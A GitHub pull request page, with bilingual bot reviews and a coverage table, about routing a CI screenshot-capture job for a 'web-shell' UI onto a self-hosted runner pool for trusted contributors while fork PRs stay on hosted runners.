Skip to content

ci: render web-shell visuals on the persistent pool for trusted lanes - #10087

Open
wenshao wants to merge 20 commits into
mainfrom
ci/web-shell-visuals-capture-ecs
Open

ci: render web-shell visuals on the persistent pool for trusted lanes#10087
wenshao wants to merge 20 commits into
mainfrom
ci/web-shell-visuals-capture-ecs

Conversation

@wenshao

@wenshao wenshao commented Aug 26, 2026

Copy link
Copy Markdown
Collaborator

What this PR does

Routes the capture job of web-shell-visuals.yml onto the persistent ecs-qwen pool for same-repo PRs and write-access fork authors, using serve-ab's routing expression byte-for-byte (a test pins the parity). Every other fork PR keeps the ephemeral hosted runner via the expression's fallback, and MAINTAINER_ECS_RUNNER_DISABLED reverts everything to hosted with no file change.

This deliberately amends a recorded security decision, so it is called out rather than slipped in: the workflow's header used to name "an ephemeral hosted runner" as part of its security model. The rationale behind that sentence was fork isolation — and that part is preserved intact: fork PRs from non-write authors never reach the pool, hold a read-only token, and see no secrets. What changes is only the trusted lanes, whose PR code ci.yml and serve-ab already build and execute on the same pool (with npm ci running lifecycle scripts, which is strictly more exposure than this render job). The header now records the trust split explicitly. The privileged workflow_run publish side (CI_BOT_PAT, image push, PR comment) is untouched and deliberately stays hosted — moving a PAT-bearing job to the shared pool would need the gh/git hardening preamble treatment (see #10055's review) for a ~1-minute job, which is not worth it.

Pool adaptations, all gated on runner.environment == 'self-hosted':

  • the standard pre-checkout ownership heal (reused workspaces can carry root-owned leftovers from containerised jobs);
  • a best-effort sudo -n apt-get install ffmpeg before GIF conversion — hosted images ship ffmpeg, the pool may not, and the conversion already degrades to raw .webm with a visible warning when it is missing.

Playwright's Chromium install is idempotent per machine (~/.cache/ms-playwright; --with-deps apt packages install once and no-op after), the render port is already picked dynamically, and outputs live under runner.temp, which the runner wipes between jobs.

Why it's needed

The capture job is a ~10-20 minute double build+render (PR head and merge-base arm) that fires on every web-shell/webui PR push, queueing behind the hosted backlog (20+ minute waits on 2026-08-25/26 while ~70 of the pool's 100 runners sat idle). .size-baseline is bumped in-PR per the ratchet convention.

Reviewer Test Plan

How to verify

  • node --test .github/scripts/ci-runner-routing.test.mjs — 14/14 pass: same-repo → pool, write-access fork author → pool, every untrusted association → hosted, kill-switch → hosted, byte-parity with serve-ab's expression, heal-before-checkout ordering, and a pin that no capture step references any secret beyond the read-only GITHUB_TOKEN (the security header's promise, now enforced).
  • npx vitest run --config ./scripts/tests/vitest.config.ts workflow-size — passes.
  • After merge: the next same-repo web-shell PR push should show capture on ecs-qwen-runner-*; a fork PR from a non-collaborator stays on ubuntu-latest; the publish comment should still carry composites and GIFs.

Evidence (Before & After)

Before: runs-on: 'ubuntu-latest' for every lane.

After: trusted lanes render on the pool; fork lanes, the publish side, and the kill-switch path are unchanged.

中文说明

web-shell-visuals.ymlcapture job 在可信车道(同仓库 PR、有写权限的 fork 作者)路由到常驻 ecs-qwen 池,逐字复用 serve-ab 的路由表达式(测试钉扎两者字节一致);其余 fork PR 仍在一次性托管 runner 上渲染,总开关可整体回退。

本 PR 显式修改了一处成文的安全决策:该 workflow 头部注释原以"一次性托管 runner"为安全模型的一部分。其中的 fork 隔离语义完整保留(非写权限 fork 永远不进池、只读 token、无 secrets);变化仅限可信车道——这些车道的 PR 代码 ci.yml/serve-ab 本就已在同一池上构建执行(含运行生命周期脚本的 npm ci,暴露面严格大于本渲染 job)。头部注释已改为显式记录该信任划分。持有 CI_BOT_PAT 的 publish 侧不动、刻意留在 hosted(把带 PAT 的 job 挪上共享池需要整套 gh/git 加固前置,对一个约 1 分钟的 job 不值)。

池上适配(均仅自持 runner 生效):检出前属主修复;GIF 转换前尽力安装 ffmpeg(托管镜像自带、池上未必有;缺失时本就降级为上传原始 .webm 并告警)。Playwright 的 Chromium 安装按机幂等,渲染端口已动态选取,输出位于 runner.temp(runner 每个 job 之间清理)。

背景:capture 是每次 web-shell/webui PR push 都触发的 10-20 分钟双臂构建渲染,一直在托管队列积压;.size-baseline 按棘轮惯例同 PR 更新。

wenshao added 2 commits August 26, 2026 14:13
Route the capture job onto the ECS pool for same-repo PRs and
write-access fork authors — the same trust split serve-ab and ci.yml's
classify_pr already apply to lanes that build and run PR code — while
every other fork PR keeps the ephemeral hosted runner and the
kill-switch forces everything hosted. The recorded security model in
the header is updated to name the split explicitly; the privileged
publish workflow stays hosted and untouched. The job gains the standard
pre-checkout ownership heal, and a best-effort ffmpeg install keeps GIF
previews working on pool machines (the conversion already degrades to
raw .webm with a warning when ffmpeg is absent). Routing parity with
serve-ab, the trust matrix, the heal ordering, and the no-ambient-
secrets premise are pinned in ci-runner-routing.test.mjs.
First pool run failed in 'Install Playwright Chromium': --with-deps
drives apt-get and the pool machines are not Debian-family. The step
now keeps --with-deps where apt exists and elsewhere downloads the
browser alone, then hard-verifies its shared libraries with ldd —
failing with the concrete missing-library list (a provisioning signal)
instead of crashing mid-render. Also mirror ci.yml's setup-node split
(the action's post-step cache upload ran 14+ minutes over the pool's
slow egress on security-checks' first pool run) and teach the ffmpeg
best-effort install dnf/yum. All three shapes are pinned in the
routing suite.
@qwen-code-ci-bot

qwen-code-ci-bot commented Aug 26, 2026

Copy link
Copy Markdown
Collaborator

⚠️ Deferred approval not posted — the PR head moved (or the PR closed) after the review of 5785af5; approving now would attest to unreviewed code. Re-run @qwen-code /triage on the new head. finalize run

⚠️ 延迟审批未提交 —— 审查 5785af5 之后 PR head 已变更(或 PR 已关闭),此时审批会为未审查的代码背书。请在新 head 上重新运行 @qwen-code /triage查看 finalize 运行

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

Thanks @wenshao!

Template — good. The formal Tested on / Risk & Scope tables are absent, but both are covered in substance in the prose (and an OS matrix is moot for a workflow-only change) — non-blocking.

Problem — observed operational pain, not a theory: the capture job is a 10–20 minute double build+render on every web-shell/webui PR push, and it has been queueing behind the hosted backlog (20+ minute waits on 2026-08-25/26) while ~70 of the pool's 100 runners sat idle. The PR also exercises its own change: the Capture web-shell visuals (Node 22.x) check on this head is running through the new routing as this is written.

Direction — aligned. It moves only the lanes the fleet already trusts (same-repo PRs and write-access fork authors — the same lanes whose code ci.yml and serve-ab already build and execute on the pool); untrusted fork PRs keep the ephemeral hosted runner with a read-only token, and the PAT-bearing publish side deliberately stays hosted. For the record: this deliberately amends a recorded security decision — the workflow header used to name "an ephemeral hosted runner" as part of the security model. The amendment is called out rather than slipped in, the new header records the trust split, and tests pin the security invariants (fork-isolation routing, kill-switch, secret-free capture). It reuses fleet policy rather than adding new attack surface, but a human maintainer should still sign off on amending the recorded decision during review.

Size — small and focused: +218/−9 across 3 files (88 workflow + 2 baseline lines; 137 test lines). No core paths; no size advisory.

Approach — minimal and idiomatic for this fleet:

  • The routing expression reuses serve-ab's byte-for-byte (I verified the parity against serve-ab.yml in-tree), and a test pins the two together — one trust split, one edit site.
  • Pool adaptations (ownership heal, pre-installed Node via self-hosted-node, persistent npm cache, the Playwright ldd gate, best-effort ffmpeg) mirror the established ci.yml patterns and are all gated on runner.environment, so the hosted lane's behavior is unchanged (hosted has apt-get, so the same --with-deps branch runs there).
  • The .size-baseline bump follows the ratchet convention enforced by workflow-size.test.js.
    No drive-by edits spotted.

Risk — no revert-correlated high-risk path hits. The change is security-adjacent by nature (building and rendering untrusted PR code on persistent shared machines), so Stage 2 focuses on the trust-split expression and the secret-exposure claim; tests already pin both.

Moving on to code review. 🔍

中文说明

感谢 @wenshao

模板 — 完整。形式上的 Tested on / Risk & Scope 表格缺失,但正文已实质覆盖两者(纯 workflow 改动本就不适用 OS 矩阵)——不阻塞。

问题 — 已观测到的运维痛点,非理论问题:capture job 是每次 web-shell/webui PR push 都触发的 10-20 分钟双臂构建渲染,一直排在托管队列积压里(2026-08-25/26 等待 20+ 分钟),而池上约 100 台中 70 台空闲。这个 PR 也在用自身演练改动——写这条评论时,本 head 上的 Capture web-shell visuals (Node 22.x) check 正通过新路由运行。

方向 — 对齐。只移动车队已信任的车道(同仓库 PR 与写权限 fork 作者——正是 ci.yml 与 serve-ab 已在池上构建执行其代码的车道);非信任 fork PR 仍留在一次性托管 runner(只读 token),持 PAT 的 publish 侧刻意留在 hosted。记录在案:此改动显式修订了 workflow 头部的成文安全决策(头部原把"一次性托管 runner"列为安全模型的一部分)。修订是明示的而非夹带,新头部记录了信任划分,测试钉扎了安全不变量(fork 隔离路由、总开关、capture 无 secret)。这是沿用既有车队策略而非新增攻击面,但成文决策的修订仍应由人类维护者在评审中确认。

规模 — 小而聚焦:+218/−9,3 个文件(工作流 88 行 + 基线 2 行;测试 137 行)。不触及核心路径,无规模告警。

方案 — 最小且符合车队惯例:路由表达式逐字复用 serve-ab(已在树内核对字节一致),并用测试钉扎两处——一个信任划分,一个编辑点。池上适配(属主修复、经 self-hosted-node 复用预装 Node、持久 npm 缓存、Playwright ldd 门禁、尽力安装 ffmpeg)全部镜像 ci.yml 既有模式,且均以 runner.environment 门控,hosted 车道行为不变(托管机有 apt-get,走的仍是同一条 --with-deps 分支)。.size-baselineworkflow-size.test.js 强制的棘轮惯例更新。未发现夹带改动。

风险 — 无回滚相关高风险路径命中。改动天然贴近安全边界(在常驻共享机器上构建渲染不可信 PR 代码),Stage 2 将重点核查信任划分表达式与 secret 暴露声明;测试已钉扎两者。

进入代码审查 🔍

Qwen Code · qwen3.8-max

Reviewed at 5785af5edfd9857b6f2f0bb4ccdb89df521d7036 · re-run with @qwen-code /triage

@qwen-code-ci-bot

qwen-code-ci-bot commented Aug 26, 2026

Copy link
Copy Markdown
Collaborator

🖼️ web-shell visual preview

Rendered against a mock daemon (no real backend): the PR base vs this PR head 7782fd0. Only screenshots that changed are shown (flows below, if any, are head-only) — refreshes on every push.

Screenshots · before / after

⚠️ No preview: one or more scenarios failed to render on this head — see the workflow run. This is not "no visual change" — a scenario that times out or throws produces no image. Fix the failing scenario (or a genuine regression it caught) and the preview returns on the next push.

Full-resolution recordings (.webm) are attached to the workflow run.

Qwen Code · web-shell visuals

@qwen-code-ci-bot

qwen-code-ci-bot commented Aug 26, 2026

Copy link
Copy Markdown
Collaborator

Code review

My independent baseline for this problem was: reuse the fleet's existing trust-split routing expression verbatim and pin parity with a test, gate every self-hosted adaptation on runner.environment, keep the PAT-bearing publish side hosted, and update the recorded security header. The PR does exactly that — and goes one step further than my baseline in two places: it gates setup-node off the pool (the cache-save post step timed out on the pool's slow egress in a prior migration) and it hard-verifies Chromium's shared libraries with ldd before rendering instead of crashing mid-render. Both are improvements, not scope creep.

What I verified against the tree:

  • Routing expression — byte-identical to serve-ab.yml's (line 74, checked in-tree), so one trust split, one edit site, and the new test pins the two together. Precedence is right: (repo && !kill-switch && (same-repo || OWNER/MEMBER/COLLABORATOR)) && pool-labels || ubuntu-latest.
  • Security model — the capture job stays secret-free (secrets.GITHUB_TOKEN in the merge-base step is the only reference, read-only and fork-legal), workflow-level permissions stay contents: read, and the workflow_run publish side is untouched. The tests pin all three invariants, which is what makes amending the recorded header defensible. One suggestion (non-blocking): the secret-free test scans step.env values only — a future step interpolating ${{ secrets.X }} directly in run: or with: would slip past the pin. Worth extending the scan to those strings at some point.
  • Pool adaptations — all mirror established ci.yml patterns: the ownership-heal body matches ci.yml's verbatim, self-hosted-node exists and fails closed when Node is missing (warning on a non-22 major), and ${HOME}/.cache/qwen-code/npm is the fleet-standard persistent cache dir (four ci.yml lanes use it). Everything is gated on runner.environment, so the hosted lane is behaviorally unchanged — hosted has apt-get, so the Playwright branch there is the same --with-deps command as before.
  • Playwright non-apt branch — under the installed Playwright (^1.57.0), the find patterns match the chrome binary (the old headless_shell name no longer exists in the layout), so the gate verifies the heavier of the two shipped binaries; a library gap would still surface loudly at render time, and the kill-switch routes back to hosted. Fine as a provisioning gate.
  • ffmpeg + GIF degradation — best-effort sudo -n apt→dnf→yum with a warning fallback, placed right before the conversion step, which already degrades to raw .webm when ffmpeg is absent.
  • .size-baseline — 16384 → 21284 matches the file's growth; ratchet convention followed.

No blockers.

Testing evidence

What this comment carries: the PR's own CI on the reviewed commit, read via the API (per policy, the review is static — PR code is never executed here), including the completed capture job's log milestones.

The headline fact: this PR's own Capture web-shell visuals (Node 22.x) check — fired because the workflow's path trigger includes the workflow file itself — ran on the pool (ecs-qwen-runner-64c-9, labels self-hosted, linux, x64, ecs-qwen) and completed green, exercising the whole new lane end-to-end on this very commit. From its log:

  • ownership heal ran, checkout clean;
  • Using pre-installed Node v22.22.0 / npm 10.9.4 + Using persistent npm cache at /home/github-runner/.cache/qwen-code/npm (no setup-node, no cache upload);
  • Chromium shared libraries all resolve on this runner. — the new ldd gate passing;
  • both arms built and rendered (after: 37 scenarios, before/merge-base: 32);
  • ffmpeg already present on that pool machine: GIFs produced: 2;
  • compose ran and found 0 changed views (skip … (0% diff) across the board) — expected: this PR touches no web-shell UI.

One real wart in the run, which I'm naming as pre-existing rather than PR-caused: the workspace-sidebar scenario (dark + light) failed in both arms with the identical deterministic error — strict mode violation: getByRole('complementary').getByText('Run auth migration') resolved to 2 elements ('Run auth migration More' and 'Run auth migration', exact: true) at screenshots.spec.ts:826, stable across all retries. That sets render-status.txt to failure, so this PR's publish comment will say "render incomplete" even though nothing visual changed. It is not caused by this PR: the diff touches no spec or client code, and the merge-base arm (pre-PR code) fails byte-identically. It looks like the mock session data grew a second "Run auth migration" entry without the spec's locator gaining { exact: true }. Worth a follow-up fix in a separate PR — until then every web-shell PR's preview carries the "incomplete" tag.

CI otherwise: the Linux unit suite was still running at review time (finalize workflow updates the table below when CI settles on this commit); skipped checks are consistent with Classify PR passing on a workflow-only change.

Final CI results for 5785af5 (auto-updated by the triage finalize job after CI completed):

Check Conclusion
build-cli ✅ success
Capture web-shell visuals (Node 22.x) ✅ success
Classify PR ✅ success
Dependency CVE audit ✅ success
Desktop Shell (ubuntu-22.04) ✅ success
Desktop Shell (windows-2022) ✅ success
Post Coverage Comment (ubuntu-latest, 22.x) ✅ success
review-address (10087, ci/web-shell-visuals-capture-ecs, 10087, 0, 2026-08-26T06:14:15Z, 100, 202... ✅ success
review-scan ✅ success
route ✅ success
Secret scan (TruffleHog) ✅ success
Test (ubuntu-latest, Node 22.x) ✅ success
web-shell E2E Smoke (ubuntu-latest, Node 22.x) ✅ success

One row per check name (latest run); skipped checks omitted; failures sort first. / 每个检查名一行(取最新一次运行),省略 skipped,失败项排在最前。

Not verified: final outcome of the in-flight unit suite (finalize workflow will update the table); no sandboxed /verify or /tmux lane is named because the change's behavior is the CI run itself, and it just demonstrated itself green on this commit.

Real-scenario testing: N/A — workflow-only change; there is no user-visible CLI behavior to drive in tmux.

中文说明

代码审查:我的独立基线是逐字复用车队既有信任划分表达式并用测试钉扎、池上适配全部以 runner.environment 门控、持 PAT 的 publish 侧留在 hosted、更新成文安全头部——该 PR 完全吻合,且比基线多做对了两件事:把 setup-node 挡在池外(其后置缓存上传曾在池的慢出口上超时),并在渲染前用 ldd 硬校验 Chromium 共享库。逐项对树核实:路由表达式与 serve-ab.yml 第 74 行字节一致;安全模型三项不变量(capture 无 secret、contents: read、publish 侧不动)均被测试钉扎;池上适配全部镜像 ci.yml 既有模式(属主修复逐字一致、self-hosted-node 缺失即失败、${HOME}/.cache/qwen-code/npm 为车队标准缓存目录,ci.yml 四处在用);hosted 车道行为不变。一个非阻塞建议:无 secret 测试目前只扫 step.env,未来若有 step 在 run:/with: 里直接插值 ${{ secrets.X }} 会绕过钉扎,值得把扫描扩到这些字符串。无阻塞项。

测试证据:本评论携带被审提交上 PR 自身 CI 的 API 证据(按策略审查为静态,不执行 PR 代码),含已完成 capture job 的日志节点。关键事实:本 PR 自己的 Capture web-shell visuals (Node 22.x) check(workflow 路径触发器包含该文件自身而触发)在池上 ecs-qwen-runner-64c-9(标签 self-hosted, linux, x64, ecs-qwen)完整跑通并绿盘——日志显示:属主修复执行;Using pre-installed Node v22.22.0 / npm 10.9.4 与持久 npm 缓存(无 setup-node、无缓存上传);Chromium shared libraries all resolve(新 ldd 门禁通过);双臂构建渲染(after 37 场景、merge-base 32 场景);该池机已有 ffmpeg(GIFs produced: 2);compose 发现 0 个变化视图(全部 0% diff)——符合预期,本 PR 未改任何 web-shell UI。一个真实的瑕疵,我判定为既有问题而非本 PR 引入:workspace-sidebar 场景(深/浅色)在双臂中以完全相同的确定性错误失败——screenshots.spec.ts:826getByText('Run auth migration') 解析到两个元素('Run auth migration More' 与精确匹配项),重试均复现。这会把 render-status.txt 置为 failure,使本 PR 的发布评论显示"渲染不完整"。非本 PR 所致:diff 未触及任何 spec 或客户端代码,且 merge-base 臂(PR 前代码)以逐字节相同的错误失败。疑似 mock 会话数据新增了第二条 "Run auth migration" 而 spec 定位器未加 { exact: true },建议另开 PR 修复。其余:Linux 单测在评审时仍在运行(finalize workflow 会在 CI 落定后更新下表);跳过的检查与 Classify PR 对纯 workflow 改动的分类一致。未验证:在途单测的最终结果。因改动的行为本身就是 CI 运行且刚在本提交上绿灯自证,未列沙箱 /verify/tmux 车道。真实场景测试:N/A——纯 workflow 改动,无用户可见 CLI 行为。

Qwen Code · qwen3.8-max

Reviewed at 5785af5edfd9857b6f2f0bb4ccdb89df521d7036 · re-run with @qwen-code /triage

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

Confidence: 4/5 — clean, minimal, fleet-idiomatic change that proved itself live on this very commit; two non-blocking nits named below.

Stepping back: my independent proposal for this problem was essentially what this PR does — reuse the fleet's trust-split expression verbatim with a parity pin, gate pool adaptations on runner.environment, leave the PAT-bearing publish side hosted. The PR exceeds that baseline (the ldd hard-verify and the setup-node egress gate are things I'd have learned the hard way, and the PR already learned them). Every edit in the diff earns its place; there's no drive-by.

What settles it for me is that this is one of the rare CI PRs with live proof rather than promise: the workflow triggers on itself, so this commit's own capture job ran the new lane end-to-end on ecs-qwen-runner-64c-9 and came back green — routing expression, ownership heal, Node preflight, persistent cache, Chromium library gate, ffmpeg path, compose-with-0-diff, artifact upload, all exercised. The designed degradation semantics were exercised too (two pre-existing failing scenarios → render-status: failure → publisher will say "render incomplete"), and they held up exactly as the header documents.

The security-model amendment is the part a human should still put eyes on, and I've flagged it in Stage 1: it's deliberate, documented in-tree, pinned by tests, and consistent with what ci.yml/serve-ab already do with these lanes — but amending a recorded security decision is a maintainer's call to make consciously at merge time, not one to rubber-stamp.

Non-blocking nits (recorded so nothing is silently dropped):

  1. The "capture stays secret-free" test scans step.env values only; secrets interpolated directly into run:/with: would slip past the pin. Worth extending at some point.
  2. The workspace-sidebar visuals scenario (dark+light) fails deterministically on both arms — pre-existing (the merge-base arm fails identically; this diff touches no spec/client code). The spec's locator at screenshots.spec.ts:826 needs { exact: true } against the mock's duplicate "Run auth migration" entries. Every web-shell PR's preview will carry "render incomplete" until that's fixed in a follow-up.

Approval is deferred until CI lands green on this commit — the Qwen Code CI unit suite is still running; the finalize workflow will post the commit-pinned approval when everything settles, and withhold it if anything lands red.

中文说明

置信度:4/5 —— 干净、最小、符合车队惯例的改动,且已在本提交上实时自证;下面列出两个非阻塞小项。

退一步看:我对这个问题的独立方案与本 PR 基本一致——逐字复用车队信任划分表达式并加钉扎测试、池上适配以 runner.environment 门控、持 PAT 的 publish 侧留在 hosted。该 PR 还超出基线两处(ldd 硬校验与 setup-node 出口门控是我本来要踩坑才能学到的,它已经学过了)。diff 中每处改动都必要,无夹带。

让我放心的是:这是少见的自带实时证据而非口头承诺的 CI PR——workflow 会因自身变更而触发,本提交自己的 capture job 已在 ecs-qwen-runner-64c-9 上端到端跑通新车道并绿盘:路由表达式、属主修复、Node 预检、持久缓存、Chromium 库门禁、ffmpeg 路径、0 差异 compose、产物上传全部演练到位。设计的降级语义也被实际演练(两个既有失败场景 → render-status: failure → 发布侧显示"渲染不完整"),表现与头部注释记载完全一致。

安全模型的修订仍是需要人类过目的部分,Stage 1 已标记:修订是明示的、有树内文档、有测试钉扎,且与 ci.yml/serve-ab 对这些车道的既有做法一致——但修订成文安全决定应由维护者在合并时有意识地确认,而非自动放行。

非阻塞小项(记录在案,避免静默丢失):

  1. "capture 无 secret" 测试目前只扫 step.env 值;直接插值到 run:/with: 的 secret 会绕过钉扎,值得后续扩展。
  2. workspace-sidebar 视觉场景(深/浅色)在双臂确定性失败——既有问题(merge-base 臂失败完全相同;本 diff 未触及 spec/客户端代码)。screenshots.spec.ts:826 的定位器需要对 mock 中重复的 "Run auth migration" 条目加 { exact: true }。修复前,每个 web-shell PR 的预览都会带"渲染不完整"标记,建议另开 PR 修复。

批准暂缓至本提交 CI 全绿——Qwen Code CI 单测仍在运行;finalize workflow 会在全部落定后代发与提交绑定的批准,若有红灯则不发。

Qwen Code · qwen3.8-max

Reviewed at 5785af5edfd9857b6f2f0bb4ccdb89df521d7036 · re-run with @qwen-code /triage

@github-actions

github-actions Bot commented Aug 26, 2026

Copy link
Copy Markdown
Contributor

Code Coverage Summary

Package Lines Statements Functions Branches
CLI 85.69% 85.69% 91.07% 84.66%
Core 88.76% 88.76% 90.53% 87.21%
CLI Package - Full Text Report
-------------------|---------|----------|---------|---------|-------------------
File               | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s 
-------------------|---------|----------|---------|---------|-------------------
All files          |   85.69 |    84.66 |   91.07 |   85.69 |                   
 src               |   86.53 |    82.86 |   88.88 |   86.53 |                   
  cli.ts           |   95.92 |    88.23 |     100 |   95.92 | ...00-701,705-706 
  llm.tsx          |   73.22 |    77.73 |   80.76 |   73.22 | ...1345-1349,1476 
  ...ractiveCli.ts |   89.27 |    83.13 |   89.06 |   89.27 | ...3157,3163,3229 
  ...liCommands.ts |   89.71 |    84.17 |   81.81 |   89.71 | ...31-633,650,757 
  ...ActiveAuth.ts |     100 |     87.5 |     100 |     100 | 66-80             
 ...cp-integration |   74.57 |    77.36 |   93.65 |   74.57 |                   
  acpAgent.ts      |   73.63 |    77.23 |   92.93 |   73.63 | ...02,13080-13081 
  ...k-reporter.ts |     100 |       80 |     100 |     100 | 81,84,119,141     
  authMethods.ts   |      92 |       60 |     100 |      92 | 33-34             
  ...heap-probe.ts |   97.39 |    96.66 |     100 |   97.39 | 243,264-265       
  errorCodes.ts    |     100 |      100 |     100 |     100 |                   
  ...ion-skills.ts |     100 |     87.5 |     100 |     100 | 17,28             
  generation.ts    |    97.1 |    81.25 |     100 |    97.1 | 109,112           
  ...figuration.ts |     100 |    89.65 |     100 |     100 | 79,125,142        
  ...DirContext.ts |     100 |      100 |     100 |     100 |                   
  ...ersistence.ts |   94.95 |    92.24 |     100 |   94.95 | ...13-118,227-228 
  ...management.ts |   74.75 |     66.3 |     100 |   74.75 | ...92-496,505-509 
  ...e-download.ts |    64.7 |    62.24 |    87.5 |    64.7 | ...08-609,615-619 
 ...tegration/live |    97.5 |       88 |   92.85 |    97.5 |                   
  ...en-context.ts |   95.74 |    82.35 |     100 |   95.74 | ...0,66-67,99-100 
  ...structions.ts |     100 |      100 |     100 |     100 |                   
  ...ak-to-user.ts |   96.66 |      100 |    87.5 |   96.66 | 37-38             
  ...task-tools.ts |   98.97 |      100 |   88.88 |   98.97 | 201-202           
 ...ration/service |    97.1 |    95.89 |   93.75 |    97.1 |                   
  filesystem.ts    |    97.1 |    95.89 |   93.75 |    97.1 | ...22-123,246-247 
 ...ration/session |    90.9 |    86.48 |   95.67 |    90.9 |                   
  Session.ts       |   90.27 |    85.23 |   95.03 |   90.27 | ...85,13212-13216 
  ...entTracker.ts |   96.88 |    89.36 |      90 |   96.88 | 139-145,224       
  ...projection.ts |   98.85 |    91.59 |     100 |   98.85 | 234,250,262       
  ...stop-guard.ts |     100 |    98.07 |     100 |     100 | 37,127            
  ...eplay-page.ts |   94.19 |    86.53 |     100 |   94.19 | ...53,357,437,441 
  ...y-replayer.ts |   83.41 |    93.33 |   94.11 |   83.41 | ...30-148,266-268 
  index.ts         |       0 |        0 |       0 |       0 | 1-40              
  ...ssionUtils.ts |   89.19 |     87.8 |     100 |   89.19 | ...85-304,363-365 
  ...oal-update.ts |   98.61 |    97.29 |     100 |   98.61 | 64                
  ...lure-guard.ts |   98.32 |    97.72 |     100 |   98.32 | 294-295,340-341   
  tasksSnapshot.ts |    94.3 |     87.5 |     100 |    94.3 | 65-71             
  ...on-tracker.ts |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...ssion/emitters |   95.65 |    92.34 |   97.14 |   95.65 |                   
  ...ageEmitter.ts |   95.36 |    92.42 |     100 |   95.36 | ...16,129-130,223 
  PlanEmitter.ts   |     100 |       90 |     100 |     100 | 66                
  base-emitter.ts  |   78.26 |    77.77 |     100 |   78.26 | 23-24,26-28       
  index.ts         |       0 |        0 |       0 |       0 | 1-10              
  ...ll-emitter.ts |   98.57 |    94.84 |     100 |   98.57 | 75-76,394-395     
 ...ession/rewrite |   96.03 |    89.79 |   94.44 |   96.03 |                   
  LlmRewriter.ts   |   94.01 |    88.23 |     100 |   94.01 | 101-102,179-183   
  ...Middleware.ts |   96.99 |    88.37 |     100 |   96.99 | 145,153-155       
  TurnBuffer.ts    |     100 |      100 |     100 |     100 |                   
  config.ts        |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 src/agent-view    |   86.63 |     80.8 |   94.01 |   86.63 |                   
  attach-lease.ts  |     100 |    97.05 |     100 |     100 | 173               
  ...t-cli-argv.ts |     100 |     92.3 |     100 |     100 | 15                
  ...ged-detach.ts |     100 |     90.9 |     100 |     100 | 40,64             
  presentation.ts  |   94.13 |    88.72 |   94.73 |   94.13 | ...57-358,382-384 
  protocol.ts      |     100 |      100 |     100 |     100 |                   
  pty-host-env.ts  |     100 |      100 |     100 |     100 |                   
  ...st-process.ts |   88.43 |    78.79 |   94.44 |   88.43 | ...1294,1384-1386 
  pty-host.ts      |   85.25 |    87.03 |   90.69 |   85.25 | ...22-524,539-540 
  ...sor-client.ts |   80.38 |    72.81 |   77.41 |   80.38 | ...22-626,652-656 
  ...r-dispatch.ts |      98 |    85.18 |     100 |      98 | 117,173,190       
  ...or-process.ts |    83.5 |     77.3 |   98.72 |    83.5 | ...4479-4482,4485 
  ...sor-runner.ts |   82.43 |    76.82 |   80.95 |   82.43 | ...69,493,496-506 
  ...sor-server.ts |   84.39 |    83.56 |    93.1 |   84.39 | ...67-568,571-588 
  ...isor-store.ts |   94.76 |    85.02 |     100 |   94.76 | ...,966,1008,1023 
  ...nal-bridge.ts |   93.98 |    91.54 |   83.33 |   93.98 | 228-238           
  ...r-sideband.ts |   94.91 |    89.36 |     100 |   94.91 | ...75-276,299-304 
 src/commands      |   90.71 |    78.53 |   65.62 |   90.71 |                   
  auth.ts          |     100 |    83.33 |     100 |     100 | 11,14             
  channel.ts       |   55.55 |      100 |       0 |   55.55 | 18-22,30-40       
  extensions.tsx   |   96.77 |      100 |      50 |   96.77 | 39                
  hooks.tsx        |   66.66 |      100 |       0 |   66.66 | 20-24             
  mcp.ts           |   95.45 |      100 |      50 |   95.45 | 31                
  review.ts        |   98.92 |      100 |      50 |   98.92 | 104               
  serve.ts         |   89.46 |    76.02 |     100 |   89.46 | ...12-915,927,938 
  sessions.ts      |     100 |      100 |      50 |     100 |                   
  update.ts        |   98.13 |    94.44 |   66.66 |   98.13 | 82-83             
 ...mmands/channel |   89.48 |    88.74 |   90.68 |   89.48 |                   
  channel-cwd.ts   |     100 |      100 |     100 |     100 |                   
  ...l-registry.ts |   94.78 |    94.59 |      90 |   94.78 | ...32-335,380-383 
  ...entry-path.ts |      75 |       50 |     100 |      75 | 8-9               
  config-utils.ts  |   96.84 |    96.22 |     100 |   96.84 | ...40-245,303-306 
  configure.ts     |    14.7 |      100 |       0 |    14.7 | 18-21,23-84       
  daemon-worker.ts |   93.76 |    85.91 |   94.33 |   93.76 | ...1320,1327-1328 
  loop-runtime.ts  |   91.66 |      100 |      50 |   91.66 | 15,22             
  ...classifier.ts |   98.53 |    96.66 |     100 |   98.53 | 115-116,161       
  ...tact-store.ts |   93.51 |    87.65 |     100 |   93.51 | ...71,288-289,337 
  pairing.ts       |      75 |      100 |      50 |      75 | 22-28,59-70       
  pidfile.ts       |   95.55 |       90 |     100 |   95.55 | ...50-251,315-316 
  proxy.ts         |     100 |      100 |     100 |     100 |                   
  reload.ts        |    77.5 |    86.95 |      75 |    77.5 | 72-84,93-97       
  runtime.ts       |   82.43 |    86.44 |     100 |   82.43 | ...87-191,251-253 
  set.ts           |   75.72 |    85.71 |      50 |   75.72 | 65-83,111-116     
  start.ts         |    87.7 |    83.63 |      88 |    87.7 | ...95,601-604,616 
  ...ure-format.ts |   93.65 |    82.45 |     100 |   93.65 | ...42,48-49,74-75 
  status.ts        |   78.57 |    59.25 |   66.66 |   78.57 | ...36-137,150-161 
  stop.ts          |   57.83 |    82.35 |      50 |   57.83 | ...3,74-76,85-111 
 ...nds/extensions |   88.85 |    87.91 |   87.09 |   88.85 |                   
  consent.ts       |   72.53 |    90.32 |   42.85 |   72.53 | ...86-142,157-163 
  disable.ts       |     100 |       90 |     100 |     100 | 30                
  enable.ts        |     100 |    91.66 |     100 |     100 | 38                
  install.ts       |   82.95 |    81.57 |      75 |   82.95 | ...96-199,202-211 
  link.ts          |     100 |      100 |     100 |     100 |                   
  list.ts          |     100 |     90.9 |     100 |     100 | 18                
  new.ts           |     100 |      100 |     100 |     100 |                   
  settings.ts      |   99.15 |      100 |   83.33 |   99.15 | 151               
  sources.ts       |   93.42 |    87.09 |   92.85 |   93.42 | ...4-66,96-98,167 
  uninstall.ts     |   74.57 |       40 |   66.66 |   74.57 | 45-47,60-67,70-73 
  update.ts        |   96.71 |    97.05 |     100 |   96.71 | 114-118           
  utils.ts         |   75.63 |    57.14 |     100 |   75.63 | ...30-134,136-140 
